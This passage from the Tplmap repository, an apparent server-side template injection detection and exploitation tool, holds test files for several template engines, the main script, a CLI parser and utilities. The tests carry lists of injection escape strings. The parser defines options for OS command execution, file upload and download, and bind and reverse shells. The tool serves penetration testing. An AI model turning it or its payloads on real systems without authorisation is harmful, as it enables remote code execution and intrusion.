137 | (5, 5, '%% if [\'%s\']==1:\n%% endif', { 'prefix' : '1\']:#\n', 'suffix' : '\n' }),
138 | (5, 5, '%% if ["%s"]==1:\n%% endif', { 'prefix' : '1"]:#\n', 'suffix' : '\n' }),
139 | (5, 5, '%% if ["""%s"""]==1:\n%% endif', { 'prefix' : '1"""]:#\n', 'suffix' : '\n' }),
140 | (5, 5, '%% if (1, [%s])==1:\n%% endif', { 'prefix' : '1]):#\n', 'suffix' : '\n' }),
141 | (5, 5, '%% if (1, [\'%s\'])==1:\n%% endif', { 'prefix' : '1\']):#\n', 'suffix' : '\n' }),
142 | (5, 5, '%% if (1, ["%s"])==1:\n%% endif', { 'prefix' : '1"]):#\n', 'suffix' : '\n' }),
143 |
144 | (5, 5, '%% if (1, ["""%s"""])==1:\n%% endif', { 'prefix' : '1"""]):#\n', 'suffix' : '\n' }),
145 |
146 | (5, 5, '%% for a in {%s}:\n%% endfor', { 'prefix' : '1}:#\n', 'suffix' : '\n' }),
147 | (5, 5, '%% if {%s:1}==1:\n%% endif', { 'prefix' : '1}:#\n', 'suffix' : '\n' }),
148 | (5, 5, '%% if {\'%s\':1}==1:\n%% endif', { 'prefix' : '1\'}:#\n', 'suffix' : '\n' }),
149 | (5, 5, '%% if {"%s":1}==1:\n%% endif', { 'prefix' : '1"}:#\n', 'suffix' : '\n' }),
150 | (5, 5, '%% if {"""%s""":1}==1:\n%% endif', { 'prefix' : '1"""}:#\n', 'suffix' : '\n' }),
151 | (5, 5, '%% if {1:%s}==1:\n%% endif', { 'prefix' : '1}:#\n', 'suffix' : '\n' }),
152 | (5, 5, '%% if {1:\'%s\'}==1:\n%% endif', { 'prefix' : '1\'}:#\n', 'suffix' : '\n' }),
153 | (5, 5, '%% if {1:"%s"}==1:\n%% endif', { 'prefix' : '1"}:#\n', 'suffix' : '\n' }),
154 | (5, 5, '%% if {1:"""%s"""}==1:\n%% endif', { 'prefix' : '1"""}:#\n', 'suffix' : '\n' }),
155 |
156 | # Mako blocks. Skip <%block> which doesn't seem affecting the standard inj
157 | # Inejcting includes e.g. '<%%include file="%s"/>' generates a missing file exception
158 | (5, 1, '<%%doc> %s %%doc>', { 'prefix' : '%doc>', 'suffix' : '<%doc>' }),
159 | #(5, 1, '<%%def name="a(x)"> %s %%def>', { 'prefix' : '%def>', 'suffix' : '<%def name="t(x)">' }),
160 | (5, 1, '<%%text> %s %%text>', { 'prefix' : '%text>', 'suffix' : '<%text>' }),
161 |
162 | ]
163 |
164 | def test_reflection_limit(self):
165 | template = '%s'
166 |
167 | channel = Channel({
168 | 'url' : 'http://127.0.0.1:15001/limit/mako?tpl=%s&inj=*&limit=20' % template,
169 | 'injection_tag': '*',
170 | 'technique': 'R'
171 | })
172 |
173 | Mako(channel).detect()
174 |
175 | expected_data = { 'unreliable_render' : self.expected_data['render'], 'unreliable' : 'Mako' }
176 |
177 | self.assertEqual(channel.data, expected_data)
178 |
--------------------------------------------------------------------------------
/tests/test_py_python.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.languages.python import Python
9 | from core.channel import Channel
10 | from core.checks import detect_template_injection
11 | from basetest import BaseTest
12 |
13 |
14 | class PythonTests(unittest.TestCase, BaseTest):
15 |
16 | expected_data = {
17 | 'language': 'python',
18 | 'engine': 'python',
19 | 'evaluate' : 'python' ,
20 | 'execute' : True,
21 | 'read' : True,
22 | 'write' : True,
23 | 'prefix' : '',
24 | 'suffix': '',
25 | 'render': """str(%(code)s)""",
26 | 'header': """'%(header)s'+""",
27 | 'trailer': """+'%(trailer)s'""",
28 | 'bind_shell' : True,
29 | 'reverse_shell': True
30 | }
31 |
32 | expected_data_blind = {
33 | 'language': 'python',
34 | 'engine': 'python',
35 | 'blind': True,
36 | 'execute_blind' : True,
37 | 'evaluate_blind' : 'python',
38 | 'write': True,
39 | 'prefix' : '',
40 | 'suffix' : '',
41 | 'bind_shell' : True,
42 | 'reverse_shell': True
43 | }
44 |
45 | url = 'http://localhost:15001/reflect/eval?inj=*&tpl=%s'
46 | url_blind = 'http://localhost:15001/blind/eval?inj=*&tpl=%s'
47 | plugin = Python
48 |
49 | blind_tests = [
50 | (0, 0, '%s', {}),
51 | ]
52 |
53 | reflection_tests = [
54 | (0, 0, '%s', {}),
55 | ]
56 |
--------------------------------------------------------------------------------
/tests/test_py_tornado.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(10, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.tornado import Tornado
9 | from core.channel import Channel
10 | from utils import rand
11 | from utils import strings
12 | from basetest import BaseTest
13 |
14 | class TornadoTest(unittest.TestCase, BaseTest):
15 |
16 | expected_data = {
17 | 'language': 'python',
18 | 'engine': 'tornado',
19 | 'evaluate' : 'python' ,
20 | 'execute' : True,
21 | 'read' : True,
22 | 'write' : True,
23 | 'prefix': '',
24 | 'suffix': '',
25 | 'trailer': '{{%(trailer)s}}',
26 | 'header': '{{%(header)s}}',
27 | 'render': '{{%(code)s}}',
28 | 'bind_shell' : True,
29 | 'reverse_shell': True
30 | }
31 |
32 | expected_data_blind = {
33 | 'language': 'python',
34 | 'engine': 'tornado',
35 | 'evaluate_blind': 'python',
36 | 'execute_blind': True,
37 | 'write': True,
38 | 'blind': True,
39 | 'prefix' : '',
40 | 'suffix' : '',
41 | 'bind_shell' : True,
42 | 'reverse_shell': True
43 | }
44 |
45 | url = 'http://127.0.0.1:15001/reflect/tornado?tpl=%s&inj=*'
46 | url_blind = 'http://127.0.0.1:15001/blind/tornado?tpl=%s&inj=*'
47 |
48 | plugin = Tornado
49 |
50 | blind_tests = [
51 | (0, 0, 'AAA%sAAA', {}),
52 | (1, 2, '{%% for a in %s %%}\n{%% end %%}', { 'prefix' : '"1"%}', 'suffix' : '' }),
53 | ]
54 | reflection_tests = [
55 | (0, 0, '%s', {}),
56 | (0, 0, 'AAA%sAAA', {}),
57 |
58 | # Reflecting tag ${} context
59 | (1, 1, '{{%s}}', { 'prefix': '1}}', 'suffix' : '' }),
60 | (1, 1, '{{ \'%s\' }}', { 'prefix': '1\'}}', 'suffix' : '' }),
61 | (1, 1, '{{ "%s" }}', { 'prefix': '1"}}', 'suffix' : '' }),
62 | (1, 3, '{{ """%s""" }}', { 'prefix': '1"""}}', 'suffix' : '' }), # {{"""%s"""}} -> {{"""1"}}
63 |
64 | (1, 4, '{{[%s]}}', { 'prefix': '1]}}', 'suffix' : '' }),
65 | (1, 3, '{{ [\'%s\'] }}', { 'prefix': '1\']}}', 'suffix' : '' }),
66 | (1, 3, '{{ ["%s"] }}', { 'prefix': '1"]}}', 'suffix' : '' }),
67 | (1, 3, '{{ ["""%s"""] }}', { 'prefix': '1"""]}}', 'suffix' : '' }), # {{["""%s"""]}} -> {{["""1"]}}
68 |
69 | # # if and for blocks context with {% %}
70 | (1, 1, '{%% if %s: %%}\n{%% end %%}', { 'prefix' : '1%}', 'suffix' : '' }),
71 | (1, 2, '{%% for a in %s: %%}\n{%% end %%}', { 'prefix' : '"1"%}', 'suffix' : '' }),
72 | (1, 1, '{%% if %s==1 %%}\n{%% end %%}', { 'prefix' : '1%}', 'suffix' : '' }),
73 | (1, 1, '{%% if \'%s\'==1 %%}\n{%% end %%}', { 'prefix' : '1\'%}', 'suffix' : '' }),
74 | (1, 1, '{%% if "%s"==1 %%}\n{%% end %%}', { 'prefix' : '1"%}', 'suffix' : '' }),
75 | (1, 3, '{%% if """%s"""==1 %%}\n{%% end %%}', { 'prefix' : '1"""%}', 'suffix' : '' }), # if """%s""": -> if """1":
76 | (1, 2, '{%% if (1, %s)==1 %%}\n{%% end %%}', { 'prefix' : '1)%}', 'suffix' : '' }),
77 | (1, 2, '{%% if (1, \'%s\')==1 %%}\n{%% end %%}', { 'prefix' : '1\')%}', 'suffix' : '' }),
78 | (1, 2, '{%% if (1, "%s")==1 %%}\n{%% end %%}', { 'prefix' : '1")%}', 'suffix' : '' }),
79 | (1, 3, '{%% if (1, """%s""")==1 %%}\n{%% end %%}', { 'prefix' : '1""")%}', 'suffix' : '' }), # if (1, """%s"""): -> if (1, """1"):
80 |
81 | (1, 3, '{%% if [%s]==1 %%}\n{%% end %%}', { 'prefix' : '1]%}', 'suffix' : '' }),
82 | (1, 3, '{%% if [\'%s\']==1 %%}\n{%% end %%}', { 'prefix' : '1\']%}', 'suffix' : '' }),
83 | (1, 3, '{%% if ["%s"]==1 %%}\n{%% end %%}', { 'prefix' : '1"]%}', 'suffix' : '' }),
84 | (1, 3, '{%% if ["""%s"""]==1 %%}\n{%% end %%}', { 'prefix' : '1"""]%}', 'suffix' : '' }), # if ["""%s"""]: -> if ["""1"]:
85 | (1, 5, '{%% if (1, [%s])==1 %%}\n{%% end %%}', { 'prefix' : '1])%}', 'suffix' : '' }),
86 | (1, 5, '{%% if (1, [\'%s\'])==1 %%}\n{%% end %%}', { 'prefix' : '1\'])%}', 'suffix' : '' }),
87 | (1, 5, '{%% if (1, ["%s"])==1 %%}\n{%% end %%}', { 'prefix' : '1"])%}', 'suffix' : '' }),
88 | (1, 5, '{%% if (1, ["""%s"""])==1 %%}\n{%% end %%}', { 'prefix' : '1"""])%}', 'suffix' : '' }), # if (1, ["""%s"""]): -> if (1, ["""1"]):
89 |
90 | (1, 3, '{%% for a in {%s} %%}\n{%% end %%}', { 'prefix' : '1}%}', 'suffix' : '' }),
91 | (1, 3, '{%% if {%s:1}==1 %%}\n{%% end %%}', { 'prefix' : '1}%}', 'suffix' : '' }),
92 | (1, 3, '{%% if {\'%s\':1}==1 %%}\n{%% end %%}', { 'prefix' : '1\'}%}', 'suffix' : '' }),
93 | (1, 3, '{%% if {"%s":1}==1 %%}\n{%% end %%}', { 'prefix' : '1"}%}', 'suffix' : '' }),
94 | (1, 3, '{%% if {"""%s""":1}==1 %%}\n{%% end %%}', { 'prefix' : '1"""}%}', 'suffix' : '' }), # if {"""%s""":1}: -> if {"""1":1}:
95 | (1, 3, '{%% if {1:%s}==1 %%}\n{%% end %%}', { 'prefix' : '1}%}', 'suffix' : '' }),
96 | (1, 3, '{%% if {1:\'%s\'}==1 %%}\n{%% end %%}', { 'prefix' : '1\'}%}', 'suffix' : '' }),
97 | (1, 3, '{%% if {1:"%s"}==1 %%}\n{%% end %%}', { 'prefix' : '1"}%}', 'suffix' : '' }),
98 | (1, 3, '{%% if {1:"""%s"""}==1 %%}\n{%% end %%}', { 'prefix' : '1"""}%}', 'suffix' : '' }), # if {1:"""%s""":1}: -> if {1:"""1"}:
99 |
100 |
101 | # # Comment blocks
102 | (5, 1, '{# %s #}', { 'prefix' : '#}', 'suffix' : '{#' }),
103 |
104 | ]
105 |
--------------------------------------------------------------------------------
/tests/test_ruby_erb.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.erb import Erb
9 | from core.channel import Channel
10 | from core.checks import detect_template_injection
11 | from basetest import BaseTest
12 |
13 |
14 | class ErbTests(unittest.TestCase, BaseTest):
15 |
16 | expected_data = {
17 | 'language': 'ruby',
18 | 'engine': 'erb',
19 | 'evaluate' : 'ruby' ,
20 | 'execute' : True,
21 | 'read' : True,
22 | 'write' : True,
23 | 'prefix' : '',
24 | 'suffix': '',
25 | 'render': '"#{%(code)s}"',
26 | 'header': """<%%= '%(header)s'+""",
27 | 'trailer': """+'%(trailer)s' %%>""",
28 | 'bind_shell' : True,
29 | 'reverse_shell': True
30 | }
31 |
32 | expected_data_blind = {
33 | 'language': 'ruby',
34 | 'engine': 'erb',
35 | 'blind': True,
36 | 'execute_blind' : True,
37 | 'evaluate_blind' : 'ruby',
38 | 'write': True,
39 | 'prefix' : '',
40 | 'suffix' : '',
41 | 'bind_shell' : True,
42 | 'reverse_shell': True
43 | }
44 |
45 | url = 'http://localhost:15005/reflect/erb?inj=*&tpl=%s'
46 | url_blind = 'http://localhost:15005/blind/erb?inj=*&tpl=%s'
47 | plugin = Erb
48 |
49 | #TODO: write context escape tests
50 | blind_tests = [
51 | (0, 0, '%s', {}),
52 | ]
53 |
54 | reflection_tests = [
55 | (0, 0, '%s', {}),
56 | ]
57 |
--------------------------------------------------------------------------------
/tests/test_ruby_ruby.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.languages.ruby import Ruby
9 | from core.channel import Channel
10 | from core.checks import detect_template_injection
11 | from basetest import BaseTest
12 |
13 |
14 | class RubyTests(unittest.TestCase, BaseTest):
15 |
16 | expected_data = {
17 | 'language': 'ruby',
18 | 'engine': 'ruby',
19 | 'evaluate' : 'ruby' ,
20 | 'execute' : True,
21 | 'read' : True,
22 | 'write' : True,
23 | 'prefix' : '',
24 | 'suffix': '',
25 | 'render': '"#{%(code)s}"',
26 | 'header': """'%(header)s'+""",
27 | 'trailer': """+'%(trailer)s'""",
28 | 'bind_shell' : True,
29 | 'reverse_shell': True
30 | }
31 |
32 | expected_data_blind = {
33 | 'language': 'ruby',
34 | 'engine': 'ruby',
35 | 'blind': True,
36 | 'execute_blind' : True,
37 | 'evaluate_blind' : 'ruby',
38 | 'write': True,
39 | 'prefix' : '',
40 | 'suffix' : '',
41 | 'bind_shell' : True,
42 | 'reverse_shell': True
43 | }
44 |
45 | url = 'http://localhost:15005/reflect/eval?inj=*&tpl=%s'
46 | url_blind = 'http://localhost:15005/blind/eval?inj=*&tpl=%s'
47 | plugin = Ruby
48 |
49 | blind_tests = [
50 | (0, 0, '%s', {}),
51 | ]
52 |
53 | reflection_tests = [
54 | (0, 0, '%s', {}),
55 | ]
56 |
--------------------------------------------------------------------------------
/tests/test_ruby_slim.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.slim import Slim
9 | from core.channel import Channel
10 | from core.checks import detect_template_injection
11 | from basetest import BaseTest
12 |
13 |
14 | class SlimTests(unittest.TestCase, BaseTest):
15 |
16 | expected_data = {
17 | 'language': 'ruby',
18 | 'engine': 'slim',
19 | 'evaluate' : 'ruby' ,
20 | 'execute' : True,
21 | 'read' : True,
22 | 'write' : True,
23 | 'prefix' : '',
24 | 'suffix': '',
25 | 'render': '"#{%(code)s}"',
26 | 'header': """=('%(header)s'+""",
27 | 'trailer': """+'%(trailer)s')""",
28 | 'bind_shell' : True,
29 | 'reverse_shell': True
30 | }
31 |
32 | expected_data_blind = {
33 | 'language': 'ruby',
34 | 'engine': 'slim',
35 | 'blind': True,
36 | 'execute_blind' : True,
37 | 'evaluate_blind' : 'ruby',
38 | 'write': True,
39 | 'prefix' : '',
40 | 'suffix' : '',
41 | 'bind_shell' : True,
42 | 'reverse_shell': True
43 | }
44 |
45 | url = 'http://localhost:15005/reflect/slim?inj=*&tpl=%s'
46 | url_blind = 'http://localhost:15005/blind/slim?inj=*&tpl=%s'
47 | plugin = Slim
48 |
49 | #TODO: write context escape tests
50 | blind_tests = [
51 | (0, 0, '%s', {}),
52 | ]
53 |
54 | reflection_tests = [
55 | (0, 0, '%s', {}),
56 | ]
57 |
--------------------------------------------------------------------------------
/tests/tests.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash -e
2 |
3 | cd "$( dirname "${BASH_SOURCE[0]}" )"
4 |
5 | for SCRIPT in ./run_*sh
6 | do
7 | if [ -f $SCRIPT -a -x $SCRIPT ]
8 | then
9 | echo -e "\n## Running $SCRIPT"
10 | bash -e $SCRIPT --test
11 | fi
12 | done
--------------------------------------------------------------------------------
/tplmap.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from utils import cliparser
3 | from core import checks
4 | from core.channel import Channel
5 | from utils.loggers import log
6 | import traceback
7 |
8 | version = '0.5'
9 |
10 | def main():
11 |
12 | args = vars(cliparser.options)
13 |
14 | if not args.get('url'):
15 | cliparser.parser.error('URL is required. Run with -h for help.')
16 |
17 | # Add version
18 | args['version'] = version
19 |
20 | checks.check_template_injection(Channel(args))
21 |
22 | if __name__ == '__main__':
23 |
24 | log.info(cliparser.banner % version)
25 |
26 | try:
27 | main()
28 | except (KeyboardInterrupt):
29 | log.info('Exiting.')
30 | except Exception as e:
31 | log.critical('Exiting: %s' % e)
32 | log.debug(traceback.format_exc())
33 |
--------------------------------------------------------------------------------
/utils/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/epinna/tplmap/616b0e527f62dd0930e6346ede6bef79e9bcf717/utils/__init__.py
--------------------------------------------------------------------------------
/utils/cliparser.py:
--------------------------------------------------------------------------------
1 | from optparse import OptionGroup
2 | from optparse import OptionParser
3 |
4 | import os
5 | import sys
6 |
7 | _ = os.path.normpath(sys.argv[0])
8 |
9 | banner = """Tplmap %s
10 | Automatic Server-Side Template Injection Detection and Exploitation Tool
11 | """
12 | usage = "python %prog [options]"
13 | epilog = """
14 | Example:
15 |
16 | ./tplmap -u 'http://www.target.com/page.php?id=1*'
17 |
18 | """
19 |
20 | class MyParser(OptionParser):
21 | def format_epilog(self, formatter):
22 | return self.epilog
23 |
24 | parser = MyParser(usage=usage, epilog=epilog)
25 |
26 | # Target options
27 | target = OptionGroup(parser, "Target", "These options have to be provided, to define the target URL. ")
28 |
29 | target.add_option("-u","--url",
30 | action="store",
31 | dest="url",
32 | help="Target URL.")
33 |
34 | # Request options
35 | request = OptionGroup(parser, "Request", "These options have how to connect and where to inject to the target URL.")
36 |
37 | request.add_option("-d","--data",
38 | dest="data",
39 | help="Data string to be sent through POST. It must be as query string: param1=value1¶m2=value2.",
40 | )
41 |
42 | request.add_option("-H","--headers",
43 | action="append",
44 | dest="headers",
45 | help="Extra headers (e.g. 'Header1: Value1'). Use multiple times to add new headers.",
46 | default=[])
47 |
48 | request.add_option("-c","--cookie",
49 | action="append",
50 | dest="cookies",
51 | help="Cookies (e.g. 'Field1=Value1'). Use multiple times to add new cookies.",
52 | default=[])
53 |
54 | target.add_option("-X","--request",
55 | action="store",
56 | dest="request",
57 | help="Force usage of given HTTP method (e.g. PUT).")
58 |
59 | request.add_option("-A","--user-agent",
60 | dest="user_agent",
61 | help="HTTP User-Agent header value."
62 | )
63 | request.add_option("--proxy",
64 | dest="proxy",
65 | help="Use a proxy to connect to the target URL"
66 | )
67 |
68 | # Detection options
69 | detection = OptionGroup(parser, "Detection" , "These options can be used to customize the detection phase.")
70 |
71 | detection.add_option("--level",
72 | dest="level",
73 | type="int",
74 | default=0,
75 | help="Level of code context escape to perform (1-5, Default: 1).")
76 |
77 | detection.add_option("-e", "--engine",
78 | dest="engine",
79 | help="Force back-end template engine to this value.")
80 |
81 | detection.add_option("-t", "--technique",
82 | dest="technique",
83 | help="Techniques R(endered) T(ime-based blind). Default: RT.",
84 | default="RT")
85 |
86 | # Template inspection options
87 | tplcmd = OptionGroup(parser, "Template inspection", "These "
88 | "options can be used to inspect the "
89 | "template engine.")
90 |
91 | tplcmd.add_option("--tpl-shell", dest="tpl_shell",
92 | action="store_true",
93 | help="Prompt for an interactive shell "
94 | "on the template engine.")
95 |
96 | tplcmd.add_option("--tpl-code", dest="tpl_code",
97 | help="Inject code in the template engine.")
98 |
99 | # OS access options
100 | oscmd = OptionGroup(parser, "Operating system access", "These "
101 | "options can be used to access the underlying "
102 | "operating system.")
103 |
104 | oscmd.add_option("--os-cmd", dest="os_cmd",
105 | help="Execute an operating system command.")
106 |
107 | oscmd.add_option("--os-shell", dest="os_shell",
108 | action="store_true",
109 | help="Prompt for an interactive operating "
110 | "system shell.")
111 |
112 | oscmd.add_option("--upload", dest="upload",
113 | help="Upload LOCAL to REMOTE files.",
114 | nargs=2)
115 |
116 | oscmd.add_option("--force-overwrite", dest="force_overwrite",
117 | action="store_true",
118 | help="Force file overwrite when uploading.")
119 |
120 | oscmd.add_option("--download", dest="download",
121 | help="Download REMOTE to LOCAL files.",
122 | nargs=2)
123 |
124 | oscmd.add_option("--bind-shell", dest="bind_shell",
125 | nargs=1,
126 | type=int,
127 | help="Spawn a system shell on a TCP PORT of the target and connect to it.")
128 |
129 | oscmd.add_option("--reverse-shell", dest="reverse_shell",
130 | nargs=2,
131 | help="Run a system shell and back-connect to local HOST PORT.")
132 |
133 | # OS access options
134 | general = OptionGroup(parser, "General", "These "
135 | "options can be used to set some general working parameters.")
136 |
137 | general.add_option("--force-level", dest="force_level",
138 | help="Force a LEVEL and CLEVEL to test.",
139 | nargs=2)
140 |
141 | general.add_option("--injection-tag", dest="injection_tag",
142 | help="Use string as injection tag (default '*').",
143 | default='*')
144 |
145 | parser.add_option_group(target)
146 | parser.add_option_group(request)
147 | parser.add_option_group(detection)
148 | parser.add_option_group(oscmd)
149 | parser.add_option_group(tplcmd)
150 | parser.add_option_group(general)
151 |
152 | """
153 | Dirty hack from sqlmap [1], to display longer options without breaking into two lines.
154 | [1] https://github.com/sqlmapproject/sqlmap/blob/fdc8e664dff305aca19acf143c7767b9a7626881/lib/parse/cmdline.py
155 | """
156 | def _(self, *args):
157 | _ = parser.formatter._format_option_strings(*args)
158 | if len(_) > 18:
159 | _ = ("%%.%ds.." % (18 - parser.formatter.indent_increment)) % _
160 | return _
161 |
162 | parser.formatter._format_option_strings = parser.formatter.format_option_strings
163 | parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser)
164 |
165 | option = parser.get_option("-h")
166 | option.help = option.help.capitalize().replace("Show this help message and exit", "Show help and exit.")
167 |
168 | (options, args) = parser.parse_args()
169 |
--------------------------------------------------------------------------------
/utils/closures.py:
--------------------------------------------------------------------------------
1 | # Shared closures
2 |
3 | close_single_duble_quotes = [ '1\'', '1"' ]
4 | integer = [ '1' ]
5 | string = [ '"1"' ]
6 | close_dict = [ '}', ':1}' ]
7 | close_function = [ ')' ]
8 | close_list = [ ']' ]
9 | empty = [ '' ]
10 |
11 | # Python triple quotes and if and for loop termination.
12 | close_triple_quotes = [ '1"""' ]
13 | if_loops = [ ':' ]
14 |
15 | # Javascript needs this to bypass assignations
16 | var = [ 'a' ]
17 |
18 | # Java needs booleans to bypass conditions and iterable objects
19 | true_var = [ 'true' ]
20 | iterable_var = [ '[1]' ]
--------------------------------------------------------------------------------
/utils/config.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | import yaml
4 |
5 | config = None
6 |
7 | config_folder = os.path.dirname(os.path.realpath(__file__))
8 |
9 | # TODO: fix this
10 | with open(config_folder + "/../config.yml", 'r') as stream:
11 | try:
12 | config = yaml.load(stream, Loader=yaml.SafeLoader)
13 | except yaml.YAMLError as e:
14 | # logger is not yet loaded, print it roughly
15 | print('[!][%s] %s' % ('config', e))
16 |
17 | base_path = os.path.expanduser(config["base_path"])
18 | log_response = config["log_response"]
19 | time_based_blind_delay = config["time_based_blind_delay"]
20 |
21 | if not os.path.isdir(base_path):
22 | os.makedirs(base_path)
23 |
24 |
25 |
--------------------------------------------------------------------------------
/utils/loggers.py:
--------------------------------------------------------------------------------
1 | import logging.handlers
2 | import logging
3 | import sys
4 | import utils.config
5 | import os
6 |
7 | log = None
8 | logfile = None
9 |
10 | class TplmapFormatter(logging.Formatter):
11 |
12 | FORMATS = {
13 | # logging.DEBUG :"[D][%(module)s.%(funcName)s:%(lineno)d] %(message)s",
14 | logging.DEBUG: "[D][%(module)s] %(message)s",
15 | logging.INFO: "[+] %(message)s",
16 | logging.WARNING: "[*][%(module)s] %(message)s",
17 | logging.ERROR: "[-][%(module)s] %(message)s",
18 | logging.CRITICAL: "[!][%(module)s] %(message)s",
19 | 'DEFAULT': "[%(levelname)s] %(message)s"}
20 |
21 | def format(self, record):
22 | self._fmt = self.FORMATS.get(record.levelno, self.FORMATS['DEFAULT'])
23 | return logging.Formatter.format(self, record)
24 |
25 | if not os.path.isdir(utils.config.base_path):
26 | os.makedirs(utils.config.base_path)
27 |
28 | """Initialize the handler to dump log to files"""
29 | log_path = os.path.join(utils.config.base_path, 'tplmap.log')
30 | file_handler = logging.handlers.RotatingFileHandler(
31 | log_path,
32 | mode='a',
33 | maxBytes=5*1024*1024,
34 | backupCount=2,
35 | encoding=None,
36 | delay=0
37 | )
38 | file_handler.setFormatter(TplmapFormatter())
39 |
40 | """Initialize the normal handler"""
41 | stream_handler = logging.StreamHandler(stream=sys.stdout)
42 | stream_handler.setFormatter(TplmapFormatter())
43 |
44 | """Initialize the standard logger"""
45 | log = logging.getLogger('log')
46 | log.addHandler(file_handler)
47 | log.addHandler(stream_handler)
48 | # We can set the a different level for to the two handlers,
49 | # but the global has to be set to the lowest. Fair enough.
50 | log.setLevel(logging.DEBUG)
51 | file_handler.setLevel(logging.DEBUG)
52 | stream_handler.setLevel(logging.INFO)
53 |
54 | """Initialize the debug logger, that dumps just to logfile"""
55 | dlog = logging.getLogger('dlog')
56 | dlog.addHandler(file_handler)
57 | dlog.setLevel(logging.INFO)
58 |
--------------------------------------------------------------------------------
/utils/rand.py:
--------------------------------------------------------------------------------
1 | import random
2 | import string
3 | import sys
4 |
5 |
6 | def randint_n(n):
7 |
8 | # If the length is 1, starts from 2 to avoid
9 | # number repetition on evaluation e.g. 1*8=8
10 | # creating false positives
11 |
12 | if n == 1:
13 | range_start = 2
14 | else:
15 | range_start = 10**(n-1)
16 |
17 | range_end = (10**n)-1
18 | return random.randint(range_start, range_end)
19 |
20 | if sys.version_info.major > 2 :
21 | letters = string.ascii_letters
22 | else :
23 | letters = string.letters
24 |
25 | def randstr_n(n, chars=letters + string.digits):
26 | return ''.join(
27 | random.choice(chars) for _ in range(n)
28 | )
29 |
30 | # Generate static random integers
31 | # to help filling actions['render']
32 | randints = [
33 | randint_n(2) for n in range(3)
34 | ]
35 |
36 | # Generate static random integers
37 | # to help filling actions['render']
38 | randstrings = [
39 | randstr_n(2) for n in range(3)
40 | ]
41 |
--------------------------------------------------------------------------------
/utils/strings.py:
--------------------------------------------------------------------------------
1 | import json
2 | import base64
3 | import hashlib
4 |
5 | def quote(command):
6 | return command.replace("\\", "\\\\").replace("\"", "\\\"")
7 |
8 | def base64encode(data):
9 | return base64.b64encode(data)
10 |
11 | def base64decode(data):
12 | return base64.b64decode(data)
13 |
14 | def chunkit( seq, n ):
15 | """A generator to divide a sequence into chunks of n units."""
16 | while seq:
17 | yield seq[:n]
18 | seq = seq[n:]
19 |
20 | def md5(data):
21 | return hashlib.md5(data).hexdigest()
22 |
--------------------------------------------------------------------------------